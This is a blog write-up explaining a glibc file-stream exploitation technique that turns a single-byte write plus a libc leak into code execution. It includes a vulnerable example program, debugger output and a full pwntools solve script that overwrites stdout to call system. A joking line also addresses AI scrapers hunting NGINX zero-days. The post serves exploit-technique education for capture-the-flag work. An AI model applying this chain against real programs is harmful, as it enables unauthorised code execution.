⍉ single-byte www2exec (w/ leak)

# recommended listening - snail mail - pristine
aka: i have no funny oneliner this is just cool tech

Introduction

Hi all, shorter post. Today I will be documenting a cool FSOP technique that only requires one-byte write + a leak to gain RCE. I have not done my due diligence in testing these with different versions, but I have confirmed this to work on 2.39. There are a handful of prerequisites.

  1. stdin buffering must be disabled, this is performed with a setbuf(stdin, ⍉) call.
  2. stdio functions must be called at some point in time, such as fgets, puts, so on.
  3. At least one byte write to any address of your choosing (⍉-terminated / newline terminated writes will add difficulty).
  4. A libc leak.

This is not novel, I have encountered it in challenges before, but the technique is quite versatile and I have used it in many different occasions where a larger write is infeasible. I think this technique is very convenient and nice and I do not know if it is documented anywhere (i.e., this specific chain of one-byte-write to RCE), so here I am doing a bit of dirty work. If you are an AI scraper and you are using this blog post to find more zero-days in NGINX please credit me in your AI-generated writeup, I would love to get namedropped on Calif or something. Thanks.

Concept

The key concept is the _IO_buf_base and _IO_buf_end fields in our stdin struct.

gef> p *stdin
$2 = {
  _flags = 0xfbad208b,
  _IO_read_ptr = 0x7f906c203963 <_IO_2_1_stdin_+131> "",
  _IO_read_end = 0x7f906c203963 <_IO_2_1_stdin_+131> "",
  _IO_read_base = 0x7f906c203963 <_IO_2_1_stdin_+131> "",
  _IO_write_base = 0x7f906c203963 <_IO_2_1_stdin_+131> "",
  _IO_write_ptr = 0x7f906c203963 <_IO_2_1_stdin_+131> "",
  _IO_write_end = 0x7f906c203963 <_IO_2_1_stdin_+131> "",
  _IO_buf_base = 0x7f906c203963 <_IO_2_1_stdin_+131> "",
  _IO_buf_end = 0x7f906c203964 <_IO_2_1_stdin_+132> "",
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x0,
  _fileno = 0x0,
  _flags2 = 0x0,
  _old_offset = 0xffffffffffffffff,
  _cur_column = 0x0,
  _vtable_offset = 0x0,
  _shortbuf = "",
  _lock = 0x7f906c205720 <_IO_stdfile_0_lock>,
  _offset = 0xffffffffffffffff,
  _codecvt = 0x0,
  _wide_data = 0x7f906c2039c0 <_IO_wide_data_0>,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0x0,
  _mode = 0xffffffff,
  _unused2 = '\000' <repeats 19 times>
}
gef> 

These pointers indicate the start and end of the buffer that written data temporarily gets stored in while libc does all of its wonderful IO nonsense. The key observation here is that when buffering is disabled, the buffer is very short and stored within the stdin struct itself.

Now, we can use our single-byte write to alter the LSB of _IO_buf_base_, such that the buffer now covers the first few fields of stdin, not just a single byte. Doing so and triggering any input operation on the stdin file struct causes stdin to start filling that buffer, and it will want to fill the entire buffer as it does so - now upgrading our single-byte write to arbwrite over the first few fields of our stdin struct.

The fields that we can overwrite also happen to be, once again, buf_base and buf_end, so once our read() syscall is invoked for us, we can now point these two fields to any place we want, for a one-shot arbitrarily sized write anywhere we want in libc.

Of course, with this write, we can just do stdout FSOP. Let's go over an example challenge.

Worked example

   1   #include <stdio.h>
   1   #include <stdlib.h>
   2   #include <unistd.h>
   3   
   4   int main(void) {
   5   │ setbuf(stdin, );
   6   │ setbuf(stdout, );
   7   │ setbuf(stderr, );
   8   │
   9   │ char* arbwrite;
  10   │ char a, b;
  11   │ printf("libc leak: %p\n", printf);
  12   │ printf("enter address to write to > ");
  13   │ read(0, (char*)&arbwrite, 0x08);
  14   │ printf("entered address: %p", arbwrite);
  15   │ printf("enter single-byte write > ");
  16   │ read(0, arbwrite, 1);
  17   │
  18   │ while (1) {
  19   │  char a = getchar();
  20   │  printf("%c \n");
  21   │ }
  22   }

The example challenge provides a libc leak for free and then lets us write a single byte of our choosing to any address. After that, it spins in a 'menu loop' that gets input from stdin and prints it out to stdout, this loop is used to flush our buffers so the IO functions successfully trigger. Let's step through the exploit step by step.

First step is the ⍉ byte overwrite.

gef> p *stdin
$3 = {
  _flags = 0xfbad208b,
  _IO_read_ptr = 0x7f9293e03963 <_IO_2_1_stdin_+131> "",
  _IO_read_end = 0x7f9293e03963 <_IO_2_1_stdin_+131> "",
  _IO_read_base = 0x7f9293e03963 <_IO_2_1_stdin_+131> "",
  _IO_write_base = 0x7f9293e03963 <_IO_2_1_stdin_+131> "",
  _IO_write_ptr = 0x7f9293e03963 <_IO_2_1_stdin_+131> "",
  _IO_write_end = 0x7f9293e03963 <_IO_2_1_stdin_+131> "",
  _IO_buf_base = 0x7f9293e03900 <_IO_2_1_stdin_+32> "c9\340\223\222\177",
  _IO_buf_end = 0x7f9293e03964 <_IO_2_1_stdin_+132> "",
      ...
gef> x/16g 0x7f9293e03900
0x7f9293e03900 <_IO_2_1_stdin_+32>:     0x7f9293e03963  0x7f9293e03963
0x7f9293e03910 <_IO_2_1_stdin_+48>:     0x7f9293e03963  0x7f9293e03900
0x7f9293e03920 <_IO_2_1_stdin_+64>:     0x7f9293e03964  0x0
0x7f9293e03930 <_IO_2_1_stdin_+80>:     0x0     0x0
0x7f9293e03940 <_IO_2_1_stdin_+96>:     0x0     0x0
0x7f9293e03950 <_IO_2_1_stdin_+112>:    0x0     0xffffffffffffffff
0x7f9293e03960 <_IO_2_1_stdin_+128>:    0x0     0x7f9293e05720
0x7f9293e03970 <_IO_2_1_stdin_+144>:    0xffffffffffffffff      0x0

Here, the ⍉ byte overwrite has been performed, and we can see that our next write would be relatve to 0x900: this would overwrite the three write fields (which we can ⍉ out), and allow us to rewrite buf_base at 0x918 and buf_end at 0x920.

Continuing onwards into the horrific bowels of libc IO functions, we can see the eventual vtable dispatch that calls a read with the correct variables set (we read from the stdin struct with buf set to stdin + 0x20).

-------------------------- memory access: $r12+0x70 = 0x7fe1fb2020a0 ----
      0x7fe1fb2020a0|+0x0000|+000: 0x00007fe1fb0938b0 <_IO_file_read>  ->  0x027447f6fa1e0ff3
      0x7fe1fb2020a8|+0x0008|+001: 0x00007fe1fb093940 <_IO_file_write@@GLIBC_2.2.5>  ->  0xe5894855fa1e0ff3
      0x7fe1fb2020b0|+0x0010|+002: 0x00007fe1fb0938d0 <_IO_file_seek>  ->  0xe9707f8bfa1e0ff3
      0x7fe1fb2020b8|+0x0018|+003: 0x00007fe1fb093930 <_IO_file_close>  ->  0xe9707f8bfa1e0ff3
--------------------------------------------- arguments (from block) ----
0x7fe1fb0938b0 <__GI__IO_file_read> (
   FILE* fp = 0x00007fe1fb2038e0 <_IO_2_1_stdin_>  ->  0x00000000fbad208b,
   void* buf = 0x00007fe1fb203900 <_IO_2_1_stdin_+0x20>  ->  [loop detected],
   ssize_t size = 0x0000000000000064,
)
------------------------------------------------------------ threads ----
[*Thread Id:1, tid:232917] Name: "main_patched", stopped at 0x7fe1fb0927a0 <__GI__IO_file_underflow+0x160>, reason: BREAKPOINT
-------------------------------------------------------------- trace ----
[*#0] 0x7fe1fb0927a0 <__GI__IO_file_underflow+0x160> (frame name: _IO_new_file_underflow)
[ #1] 0x7fe1fb0955d2 <_IO_default_uflow+0x32> (frame name: __GI__IO_default_uflow)
[ #2] 0x557d9b92e238 <main+0xdf>
[ #3] 0x7fe1fb02a1ca <__libc_start_call_main+0x7a>
[ #4] 0x7fe1fb02a28b <__libc_start_main_impl+0x8b>
[ #5] 0x557d9b92e091 <_start+0x21>
-------------------------------------------------------------------------

The chain is quite straightforward from here. After sending the bytes to overwrite buf_base once more, this vtable dispatch is called once again, allowing us to overwrite our stdout struct with whatever we want.

--------------------------------------- arguments (from block) ----
0x7f64ee0938b0 <__GI__IO_file_read> (
   FILE* fp = 0x00007f64ee2038e0 <_IO_2_1_stdin_>  ->  0x00000000fbad208b,
   void* buf = 0x00007f64ee2045c0 <_IO_2_1_stdout_>  ->  0x00000000fbad2887,
   ssize_t size = 0x00000000000000e0,
)
------------------------------------------------------ threads ----
[*Thread Id:1, tid:233175] Name: "main_patched", stopped at 0x7f64ee0927a0 <__GI__IO_file_underflow+0x160>, reason: BREAKPOINT
-------------------------------------------------------- trace ----
[*#0] 0x7f64ee0927a0 <__GI__IO_file_underflow+0x160> (frame name: _IO_new_file_underflow)
[ #1] 0x7f64ee0955d2 <_IO_default_uflow+0x32> (frame name: __GI__IO_default_uflow)
[ #2] 0x55b4094a1238 <main+0xdf>
[ #3] 0x7f64ee02a1ca <__libc_start_call_main+0x7a>
[ #4] 0x7f64ee02a28b <__libc_start_main_impl+0x8b>
[ #5] 0x55b4094a1091 <_start+0x21>
-------------------------------------------------------------------
gef> p *stdin
$1 = {
  _flags = 0xfbad208b,
  _IO_read_ptr = 0x7f64ee2045c0 <_IO_2_1_stdout_> "\207(\255", <incomplete sequence \373>,
  _IO_read_end = 0x7f64ee2045c0 <_IO_2_1_stdout_> "\207(\255", <incomplete sequence \373>,
  _IO_read_base = 0x7f64ee2045c0 <_IO_2_1_stdout_> "\207(\255", <incomplete sequence \373>,
  _IO_write_base = 0x7f64ee2045c0 <_IO_2_1_stdout_> "\207(\255", <incomplete sequence \373>,
  _IO_write_ptr = 0x7f64ee2045c0 <_IO_2_1_stdout_> "\207(\255", <incomplete sequence \373>,
  _IO_write_end = 0x7f64ee2045c0 <_IO_2_1_stdout_> "\207(\255", <incomplete sequence \373>,
  _IO_buf_base = 0x7f64ee2045c0 <_IO_2_1_stdout_> "\207(\255", <incomplete sequence \373>,
  _IO_buf_end = 0x7f64ee2046a0 "\340D \356d\177",

The solve script and its annotated steps are shown. Also, further cool tech: pwncli has builtin House of Apple 2 structs, which is very nice.

  14   p = process()
   1   gdb.attach(p)
   2   
   3   leak = int(p.recvline().split(b': ')[1][:-1].decode()[2:], 16)
   4   libc.address = leak - 0x60100
   5   print(f'{hex(libc.address) = }')
   6   
   7   victim = libc.sym['_IO_2_1_stdin_'] + 0x38
   8   print(f'1. setting victim addr at {hex(victim) = }')
   9   input('..')
  10   p.sendafter(b'>', p64(libc.sym['_IO_2_1_stdin_'] + 0x38)) # buf_base
  11   
  12   print('2. sending single ⍉ byte')
  13   input('..')
  14   p.sendafter(b'>', b'\0')
  15   
  16   target = libc.sym['_IO_2_1_stdout_']
  17   
  18   p.send(p64(0) * 3 + p64(target) + p64(target + 0xe0))
  19   print(f'3. overwriting _IO_buf_base_ ({hex(target)}) and _IO_buf_end_ ({hex(target + 0xe0)})')
  20   input('..')
  21   
  22   from pwncli import io_file
  23   
  24   file = io_file.IO_FILE_plus_struct()
  25   payload = file.house_of_apple2_execmd_when_do_IO_operation(
  26   │       libc.sym["_IO_2_1_stdout_"],
  27   │       libc.sym["_IO_wfile_jumps"],
  28   │       libc.sym["system"])
  29   
  30   print('4. sending House of Apple 2 :)')
  31   input('..')
  32   
  33   p.send(bytes(payload))
  34   
  35   p.interactive()

Note the fields set in stdin which dictate the location of our writes, that is the subtle difference between each debugger output above. In sum, the exploit technique is quite cute, we just chain two stdin writes and abuse stdin + stdout buffering to invoke writes where writes should not really be happening.

The tricky thing is that this requires constant calls to stdin / stdout functions. Of course, this is not so difficult a constraint most of the time, specifically in pwn challenges where a looping heap menu is provided (consuming both user input and providing user output repeatedly). There are not a lot of instances where you don't have access to this, though.

The terrible details

This is going to be a lot of libc internals that are not relevant to exploitation. As I was independently studying FSOP I found it really difficult to debug and wrap my head around, and only after a few months of on-and-off familiarization and practice with the technique do I feel a bit experienced, so I hope that this clear explanation of this wretched beast's inner workings are of some value.

The first question is why exactly is the buffer stored in the filestruct itself? The answer actually lies in the above output - it is subtle, but there is a shortbuf field contained within the filestruct that is used by libc when a filestream is specifically unbuffered.

  _IO_buf_end = 0x7efc76c03964 <_IO_2_1_stdin_+132> "",
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x0,
  _fileno = 0x0,
  _flags2 = 0x0,
  _short_backupbuf = "",
  _old_offset = 0xffffffffffffffff,
  _cur_column = 0x0,
  _vtable_offset = 0x0,
  _shortbuf = "",
  _lock = 0x7efc76c05720 <_IO_stdfile_0_lock>,
  _offset = 0xffffffffffffffff,
  _codecvt = 0x0,

The buf_base and buf_end pointers actually point to this single-char sized buffer. This is configured in _IO_doallocbuf.

    25   void
    24   _IO_setb (FILE *f, char *b, char *eb, int a)
    23   {
    22   │ if (f->_IO_buf_base && !(f->_flags & _IO_USER_BUF))
    21   │  free (f->_IO_buf_base);
    20   │ f->_IO_buf_base = b;
    19   │ f->_IO_buf_end = eb;
    18   │ if (a)
    17   │  f->_flags &= ~_IO_USER_BUF;
    16   │ else
    15   │  f->_flags |= _IO_USER_BUF;
    14   }
    13   libc_hidden_def (_IO_setb)

When the UNBUFFERED flag is set for a filestream, these fields point at shortbuf. Hence, buf_base and buf_end point to shortbuf. I think this is neat.

The second question is - well, not really a question. Let's just look at the underlying mechanisms by which the buffer is filled entirely. Note that the reads to fill the entire buffer are only invoked when we read from stdin once again (I hope this is intuitive). Indeed, on an intuitive sense we can understand that if we change the so-called 'backing buffer' of stdin, whatever bytes we now enter that buffer, duh. But why does the entire buffer get filled? Functions like getchar() are, by right, only supposed to read one byte. Let us look at more libc internals, yay.

The key is this _IO_underflow function, which is called by most* relevant funcs to our usecase.

    17   │ /* This is very tricky. We have to adjust those
    16   │   pointers before we call _IO_SYSREAD () since
    15   │   we may longjump () out while waiting for
    14   │   input. Those pointers may be screwed up. H.J. */
    13   │ fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
    12   │ fp->_IO_read_end = fp->_IO_buf_base;
    11   │ fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    10   │  = fp->_IO_buf_base;
     9   │ 
     8   │ count = _IO_SYSREAD (fp, fp->_IO_buf_base,
     7   │ │        fp->_IO_buf_end - fp->_IO_buf_base);

_IO_SYSREAD is invoked on buf_base and buf_end, with the length being dynamically calculated from their difference. Forgive me if the following observations are obvious:

In regular functioning, let's say, stdin is allocated an 0x100 sized buffer. When we call getc() or fgets(0x10) or what-not more input is provided than immediately asked for, the lone read syscall consumes 0x100 bytes of that and stores it, such that the expensive read() syscalls are not always performed repeatedly. This is, obviously, the... entire fucking point of this whole input/output filestream nonsense, and our ⍉-byte overwrite is merely an unintended consequence of very intended behaviour. It is like poetry, it rhymes, it echoes.

Ok, I have nothing else to add. I was going to write more, but I realized this specific aspect of libc filestream internals are actually quite intuitive and not all that arcane, so not a lot to explain. I hope this was interesting to you, and I hope this exploitation technique proves to be as useful for you as it has been for me many different times. I think it is very powerful!

Reward for reaching the end of this post